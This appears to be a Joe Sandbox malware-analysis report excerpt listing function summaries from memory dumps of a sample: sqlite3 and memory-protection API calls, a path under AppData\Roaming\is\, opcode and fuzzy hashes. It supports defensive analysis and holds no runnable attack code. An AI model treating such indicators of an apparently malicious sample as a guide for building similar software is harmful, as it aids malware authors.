                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: __dllonexit_lock_onexit_unlock
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 209411981-0
                                                                                                                                      • Opcode ID: f96951a75b0e779a987d88cceeb6e687f3565ce9eedca95f104ac530ca983c89
                                                                                                                                      • Instruction ID: 088ec2c3c64eca5c40a35054d07e50b61bd682bda9d23a1c34d71d07e9d54e11
                                                                                                                                      • Opcode Fuzzy Hash: f96951a75b0e779a987d88cceeb6e687f3565ce9eedca95f104ac530ca983c89
                                                                                                                                      • Instruction Fuzzy Hash: DA1183B59197818FCB40EF78D48461EBBE4BF89214F618D2EE8C887351EB35D4848B82
                                                                                                                                      Function 61E0C831 Relevance: 6.0, APIs: 4, Instructions: 45COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_free.SQLITE3 ref: 61E0C869
                                                                                                                                        • Part of subcall function 61E0A1EF: sqlite3_free.SQLITE3 ref: 61E0A210
                                                                                                                                      • sqlite3_free.SQLITE3 ref: 61E0C87C
                                                                                                                                      • sqlite3_free.SQLITE3 ref: 61E0C85E
                                                                                                                                        • Part of subcall function 61E09B3D: sqlite3_mutex_enter.SQLITE3 ref: 61E09B5C
                                                                                                                                      • sqlite3_free.SQLITE3 ref: 61E0C8AA
                                                                                                                                        • Part of subcall function 61E0A386: sqlite3_free.SQLITE3 ref: 61E0A397
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_free$sqlite3_mutex_enter
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 3930042888-0
                                                                                                                                      • Opcode ID: dfeacaba43d4262452b347a059baa502f1e05a93151bc4b8fe599d9c1b4b132e
                                                                                                                                      • Instruction ID: a7e47f523c00bc455bf5fe498adf9aef8411c80d61e3bbbca34b5ea8f6faf79c
                                                                                                                                      • Opcode Fuzzy Hash: dfeacaba43d4262452b347a059baa502f1e05a93151bc4b8fe599d9c1b4b132e
                                                                                                                                      • Instruction Fuzzy Hash: 6C015A71A006898BD700EF79C88085EF7F4EF8831AF61C86DD8888B350E734E962CB55
                                                                                                                                      Function 61E1E819 Relevance: 6.0, APIs: 4, Instructions: 39COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_aggregate_context.SQLITE3 ref: 61E1E82E
                                                                                                                                      • sqlite3_result_error.SQLITE3 ref: 61E1E85E
                                                                                                                                      • sqlite3_result_double.SQLITE3 ref: 61E1E874
                                                                                                                                      • sqlite3_result_int64.SQLITE3 ref: 61E1E88C
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_aggregate_contextsqlite3_result_doublesqlite3_result_errorsqlite3_result_int64
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 3779139978-0
                                                                                                                                      • Opcode ID: c1b0339319ee2778e301192f04af180a9e16740a6619a52179f643f7957a165c
                                                                                                                                      • Instruction ID: 67ce158fd56862053d0a6924edaa4181dc46e10072cc9a5f1e810ac956e959d0
                                                                                                                                      • Opcode Fuzzy Hash: c1b0339319ee2778e301192f04af180a9e16740a6619a52179f643f7957a165c
                                                                                                                                      • Instruction Fuzzy Hash: 2601E9B080CB459ED7059F56C486719BFE4BB89218F2AC99DE8D90B6A6C774C480CB52
                                                                                                                                      Function 61E17D44 Relevance: 6.0, APIs: 4, Instructions: 38stringCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_initialize.SQLITE3 ref: 61E17D52
                                                                                                                                        • Part of subcall function 61E1797F: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1DEFC), ref: 61E179B6
                                                                                                                                        • Part of subcall function 61E1797F: sqlite3_config.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,61E21778), ref: 61E179EA
                                                                                                                                        • Part of subcall function 61E1797F: sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1DEFC), ref: 61E17D35
                                                                                                                                      • sqlite3_mutex_enter.SQLITE3 ref: 61E17D6A
                                                                                                                                      • strcmp.MSVCRT ref: 61E17D87
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 61E17D98
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_configsqlite3_initializestrcmp
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2933023327-0
                                                                                                                                      • Opcode ID: 92a8d35bd45ead7e4ef866d210599599e5292a63d7fac2fd8c1bb6788bd629a7
                                                                                                                                      • Instruction ID: 79458363fa57e797cd52994734bd2833a4669a63125f04a4e11b6b01a4087731
                                                                                                                                      • Opcode Fuzzy Hash: 92a8d35bd45ead7e4ef866d210599599e5292a63d7fac2fd8c1bb6788bd629a7
                                                                                                                                      • Instruction Fuzzy Hash: 66F09632A0834557D7006FB9C4C552ABBA89F86A5CF65843CDD498F309DB30D84147A2
                                                                                                                                      Function 61E17E41 Relevance: 6.0, APIs: 4, Instructions: 28COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_vfs_register.SQLITE3 ref: 61E17E71
                                                                                                                                        • Part of subcall function 61E17DDE: sqlite3_initialize.SQLITE3(?,?,61E17E76), ref: 61E17DE9
                                                                                                                                        • Part of subcall function 61E17DDE: sqlite3_mutex_enter.SQLITE3(?,?,61E17E76), ref: 61E17E01
                                                                                                                                        • Part of subcall function 61E17DDE: sqlite3_mutex_leave.SQLITE3(?), ref: 61E17E33
                                                                                                                                      • sqlite3_vfs_register.SQLITE3 ref: 61E17E85
                                                                                                                                      • sqlite3_vfs_register.SQLITE3 ref: 61E17E99
                                                                                                                                      • sqlite3_vfs_register.SQLITE3 ref: 61E17EAD
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_vfs_register$sqlite3_initializesqlite3_mutex_entersqlite3_mutex_leave
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2202970011-0
                                                                                                                                      • Opcode ID: 116c111f975c62758e71a20b046672a5a788bd6d92f6ce3e82883bd03000cb47
                                                                                                                                      • Instruction ID: e535d16afac83e4927456be973af1f03fa588a6ee2b19afb015943bb6a7a0ce6
                                                                                                                                      • Opcode Fuzzy Hash: 116c111f975c62758e71a20b046672a5a788bd6d92f6ce3e82883bd03000cb47
                                                                                                                                      • Instruction Fuzzy Hash: 1DF03AB19182489BD3406F64C10732FBAE5AFC6B08F71C81CD089872C4C775C4419B53
                                                                                                                                      Function 61E17775 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_log
                                                                                                                                      • String ID: @6a
                                                                                                                                      • API String ID: 632333372-3141242769
                                                                                                                                      • Opcode ID: 27c47573da3e38849dbf6bdbf2e8815780ec0866abec940012f18dbe2e480e62
                                                                                                                                      • Instruction ID: c7bfb48737037a274caa4d5e8f79f19cfc5c533abebaddf0c36844fd74782d27
                                                                                                                                      • Opcode Fuzzy Hash: 27c47573da3e38849dbf6bdbf2e8815780ec0866abec940012f18dbe2e480e62
                                                                                                                                      • Instruction Fuzzy Hash: 15513870A9A645DFDF80CF2CC14664D77A2F78B764F29C01AEC488B3A8D734D8858B61
                                                                                                                                      Function 61E265AB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_win32_is_nt.SQLITE3 ref: 61E265E5
                                                                                                                                        • Part of subcall function 61E172E3: InterlockedCompareExchange.KERNEL32 ref: 61E17303
                                                                                                                                        • Part of subcall function 61E172E3: InterlockedCompareExchange.KERNEL32 ref: 61E1734A
                                                                                                                                        • Part of subcall function 61E172E3: InterlockedCompareExchange.KERNEL32 ref: 61E1736A
                                                                                                                                        • Part of subcall function 61E1726D: sqlite3_win32_sleep.SQLITE3 ref: 61E172C5
                                                                                                                                      • sqlite3_free.SQLITE3 ref: 61E266B0
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: CompareExchangeInterlocked$sqlite3_freesqlite3_win32_is_ntsqlite3_win32_sleep
                                                                                                                                      • String ID: winDelete
                                                                                                                                      • API String ID: 3336177498-3936022152
                                                                                                                                      • Opcode ID: 38af854695d88063867f47c327f837f6ef6e7ecf0c5df9d1445217bf7ec35edf
                                                                                                                                      • Instruction ID: ee1c88bcb7bf17ca4bbb7f5b05afb30e27c1f31fcd5655c10b75829973c74d2c
                                                                                                                                      • Opcode Fuzzy Hash: 38af854695d88063867f47c327f837f6ef6e7ecf0c5df9d1445217bf7ec35edf
                                                                                                                                      • Instruction Fuzzy Hash: 3C31E8B0A086858BEF215FA4C4A029E7BB4EF8D71CF24C729EC5197390D778C4428B92
                                                                                                                                      Function 61E59A41 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID:
                                                                                                                                      • String ID: 3
                                                                                                                                      • API String ID: 0-1842515611
                                                                                                                                      • Opcode ID: aff4d5094be7a14891d1516a6f6211dfce19b2a57278dc6b86adcafc08da7d25
                                                                                                                                      • Instruction ID: c626fe9c01af6656bc1901436286d48693416cfa5ee9491a07d78c824d9510c7
                                                                                                                                      • Opcode Fuzzy Hash: aff4d5094be7a14891d1516a6f6211dfce19b2a57278dc6b86adcafc08da7d25
                                                                                                                                      • Instruction Fuzzy Hash: 4631ADB0A042958BDB908F28C4C07C9BBF0BB45318F24C1A9E9988B346D376EC91CF81
                                                                                                                                      Function 61E85070 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81memoryCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: Virtual$ProtectQuery
                                                                                                                                      • String ID: @
                                                                                                                                      • API String ID: 1027372294-2766056989
                                                                                                                                      • Opcode ID: 767c4381f0a500dca40e41fb95efa6bf75c3e719ed81a202d7ecd4e96cbe2b03
                                                                                                                                      • Instruction ID: 4fec5ea76922f852ca7d192f865ae09c671dcead33a5dfea62c4ae1a1cc41790
                                                                                                                                      • Opcode Fuzzy Hash: 767c4381f0a500dca40e41fb95efa6bf75c3e719ed81a202d7ecd4e96cbe2b03
                                                                                                                                      • Instruction Fuzzy Hash: 65319AB6915B018FD740DF68D98061ABBF0BF84314F69C91DD89E87350EB30E844CB82
                                                                                                                                      Function 61E1E29E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_aggregate_context.SQLITE3 ref: 61E1E2B7
                                                                                                                                      • sqlite3_value_numeric_type.SQLITE3 ref: 61E1E2C3
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_aggregate_contextsqlite3_value_numeric_type
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 3265351223-3916222277
                                                                                                                                      • Opcode ID: 284a7e7d2da9a4d4ab157598865195ae1c3f0bde0c74834f4f5f981b267ab200
                                                                                                                                      • Instruction ID: bcca8e5808c92f6b07b9230614678ab68729562935ef82a8d2553d496b43b86c
                                                                                                                                      • Opcode Fuzzy Hash: 284a7e7d2da9a4d4ab157598865195ae1c3f0bde0c74834f4f5f981b267ab200
                                                                                                                                      • Instruction Fuzzy Hash: 33118E70608B85CBDF0A9FA9C4C625A7BF0EF49308F20849CE8948B249D730C960C792
                                                                                                                                      Function 07064C35 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27stringCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • lstrcpy.KERNEL32(?,C:\Users\user\AppData\Roaming\is\), ref: 07064C4E
                                                                                                                                      • PathRemoveBackslashA.SHLWAPI(?), ref: 07064C55
                                                                                                                                      Strings
                                                                                                                                      • C:\Users\user\AppData\Roaming\is\, xrefs: 07064C48
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2326837977.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2326800839.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326873969.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326916903.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326944508.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326972890.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327004067.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_7000000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: BackslashPathRemovelstrcpy
                                                                                                                                      • String ID: C:\Users\user\AppData\Roaming\is\
                                                                                                                                      • API String ID: 295623078-717174677
                                                                                                                                      • Opcode ID: e957afb0620450eb1f86fd169bec5e8f0e9dcfbcd888aa7b9fe668b10c6009bb
                                                                                                                                      • Instruction ID: aa5d8b1b3874d0da7b22dc80a56eb95ee0fb24e7758abea3d8a47784749c8574
                                                                                                                                      • Opcode Fuzzy Hash: e957afb0620450eb1f86fd169bec5e8f0e9dcfbcd888aa7b9fe668b10c6009bb
                                                                                                                                      • Instruction Fuzzy Hash: 7AE012B2100249ABDB41AF94EDD9C5F3BDCEB49254B418511FA02D1152C77DC9109A60
                                                                                                                                      Function 07064C78 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20stringCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • lstrcpy.KERNEL32(?,C:\Users\user\AppData\Roaming\is\), ref: 07064C90
                                                                                                                                      • PathRemoveBackslashA.SHLWAPI(?), ref: 07064C97
                                                                                                                                      Strings
                                                                                                                                      • C:\Users\user\AppData\Roaming\is\, xrefs: 07064C8A
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2326837977.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2326800839.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326873969.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326916903.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326944508.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326972890.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327004067.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_7000000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: BackslashPathRemovelstrcpy
                                                                                                                                      • String ID: C:\Users\user\AppData\Roaming\is\
                                                                                                                                      • API String ID: 295623078-717174677
                                                                                                                                      • Opcode ID: c6a147f86b804aeae27c72b9c9536a294652368bd1bc9aaff221768316d7dbce
                                                                                                                                      • Instruction ID: 96bfacaf50d5568785e87f42dc600af68d40d1fc109c50e38b817a4d39fe7fd9
                                                                                                                                      • Opcode Fuzzy Hash: c6a147f86b804aeae27c72b9c9536a294652368bd1bc9aaff221768316d7dbce
                                                                                                                                      • Instruction Fuzzy Hash: 19D05E732155246BCAD1FA69A81AC8B37DCEA62A64342C201FC42E2240D26CE7108BE5